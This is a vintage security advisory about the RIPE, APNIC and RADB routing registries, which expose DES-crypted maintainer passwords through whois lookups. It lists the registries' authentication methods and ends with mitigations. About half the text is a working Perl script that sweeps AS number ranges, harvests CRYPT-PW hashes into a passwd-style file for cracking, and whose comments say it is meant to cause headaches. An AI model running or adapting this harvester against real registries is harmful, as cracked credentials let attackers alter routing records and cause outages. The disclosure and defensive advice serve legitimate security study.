COMMAND
RIPE, APNIC, RADB insecurities
SYSTEMS AFFECTED
most unices
PROBLEM
Raju Mathur found following. The Routing Registries maintain
databases of all routing information including Autonomous System
Numbers and IN.ADDR-ARPA reverse lookups. The registries display
DES-encrypted passwords to the general public, and the database
update process is prone to being cracked.
Raju contacted RIPE, APNIC and RADB on 25 November, 2000.
Responses indicate that the database format and information
revealed were decided by the community and cannot be changed until
the community as a whole votes to change them.
If you are a maintainer for an AS or an IN-ADDR.ARPA domain, you
can use any of the following methods to update information about
your records (this is from my personal understanding, there could
be minor differences between different registries):
1. NONE. You send updates by e-mail or through a web form to the
registry, which are reviewed by the hostmaster and applied if
they are syntatically and semantically OK.
2. MAIL-FROM. You send updates by e-mail or through the web form
to the registry, which makes syntax and semantic checks and
contacts you on your registered e-mail address. Once you
reply in the affirmative, the updates are applied.
3. CRYPT-PW. The web forms allow you to apply semantically
correct updates immediately if you choose CRYPT-PW as your
authentication method. You only need your password to change
the database. There is no human review of the update.
4. PGP. You send a PGP-signed message to the hostmaster, who
verifies that the signature is correct, makes syntax and
semantic checks and updates the database.
We are not going to go into problems associated with MAIL-FROM and
NONE authentication methods since (a) they have already been
thrashed out in the context of the domain registries and (b) they
require human intervention at some point. PGP also seems quite
safe (as safe as using PGP is).
The CRYPT-PW method of update is of interest here. Essentially
anyone who manages to get hold of your plaintext CRYPT-PW (which
uses DES as the encryption method) can masquerade as you and make
changes to the databases without any other human intervention at
all. This can lead to serious security and network outage issues
in the short term. So far Raju thought that long-term
implications were minimal since the original maintainer would be
notified about rogue changes, but we are not too sure about what
happens if you change the maintainers contact address also.
The problem is that the registries are constrained by their users
to reveal the CRYPT'ed password to the general public through a
simple whois mechanism. Doing a whois on the maintainer object
in a registry reveals the CRYPT'ed password if s/he has one,
after which there are any number of tools which would permit you
to attempt to crack or brute-force the password.
Exploit? Not really an exploit, but the attached Perl script
(which has been tested on Linux with fwhois) will help you to
extract DES-encrypted passwords from maintainer objects related
to a range of Autonomous System Numbers (ASN's) and put them into
a Unix-style password file which can be fed to Crack & co. for
further ``processing''.
Run it as:
who.pl output-file APNIC|RIPE start-asn end-asn
where output-file will be the file with the Unix-style passwd
information including the encrypted password, APNIC or RIPE are
which registry you wish to glean passwords from (it's trivial to
modify the program to glean passwords from RADB) and start- and
end-asn's define the block of AS numbers whose maintainer objects
you are trying to to extract passwords from.
To download exploit, go to:
http://www.kandalaya.org/
The code:
#!/usr/bin/perl -w
#
# Brute force create a /etc/passwd-like file with DES-encrypted passwords
# from dumb whois lookups on RIPE and APNIC. Can be easily modified
# to handle RADB too. Once the file is created, run Crack (or your favourite
# DES-crack program) on it and create some headache for the ``Internet
# community'' which has decided to reveal DES-encoded passwords as part
# of a whois lookup on a maintainer object.
#
# Copyright 2000, Raju Mathur <raju@linux-delhi.org>, <raju@kandalaya.org>
#
# This program is available under the terms of the GNU General Public License
#
use strict ;
#
# Currently will work on RIPE and APNIC
#
my
$count = 0 ;
my
$outfile = shift ;
my
$registry = shift ;
if ( !defined $outfile || !defined $registry
|| $registry !~ /apnic/i && $registry !~ /ripe/i )
{
print STDERR "usage: $0 output-file APNIC|RIPE [start AS] [end AS]\n" ;
exit 1 ;
}
open OUT , ">$outfile"
or die "Cannot write to $outfile: $!\n" ;
my
$startas = shift ;
$startas = 1
if !defined $startas ;
my
$endas = shift ;
$endas = 12000
if !defined $endas ;
my
$server = "whois.apnic.net" ;
$server = "whois.ripe.net"
if $registry =~ /ripe/i ;
my
$maintainer ;
my
$descr ;
my
$notify ;
my
$auth ;
my
$passwd ;
foreach my $i ( $startas..$endas )
{
print "*** AS$i\n" ;
open WHOIS , "whois AS$i\@$server|"
or die "Cannot whois AS$i: $!\n" ;
while ( <WHOIS> )
{
if ( /^mnt-by:\s*(.*)/ )
{
$maintainer = $1 ;
last ;
}
}
close WHOIS ;
next
if !$maintainer ;
print "*** $maintainer\n" ;
open WHOIS , "whois $maintainer\@$server|"
or die "Cannot whois $maintainer: $!\n" ;
$descr = "" ;
while ( <WHOIS> )
{
if ( $_ =~ /^descr:\s*(.*)/ )
{
$descr .= "$1, " ;
}
if ( $_ =~ /^mnt-nfy:\s*(.*)/ )
{
$notify = $1 ;
}
if ( $_ =~ /^auth:\s*(.*)/ )
{
$auth = $1 ;
}
last if $auth && $auth =~ /crypt-pw/i ;
}
next
if !$auth || $auth !~ /crypt-pw/i ;
print "*** <$descr> <$notify> <$auth>\n" ;
close WHOIS ;
$auth =~ /.*crypt-pw\s*(.*)/i ;
$passwd = $1 ;
$descr =~ s/[\n:]//g ;
$notify =~ s/://g ;
print OUT "$maintainer:$passwd:42:42:$descr:/dev/null:/bin/sh\n" ;
$auth = "" ;
$count++ ;
}
close OUT ;
print "$count records\n" ;
SOLUTION
Solutions exist at a number of levels:
1. Personal. Do not use CRYPT-PW as your authentication mechanism
if you are a maintainer. All the registries recommend the use
of PGP and will help you get started with PGP if you need that.
2. Community. Take a decision not to display the authentication
mechanism to the general public, especially the encrypted
passwords. It should be trivial to change the whois server
code to conceal the passwords.
3. Registry. Encourage all your users to switch to a more secure
method of sending updates. Define a date by which all users
must switch. Remove the ``NONE'' authentication method
altogether. For MAIL-FROM use unique, random identifiers for
each request which must be present in the update confirmation
message.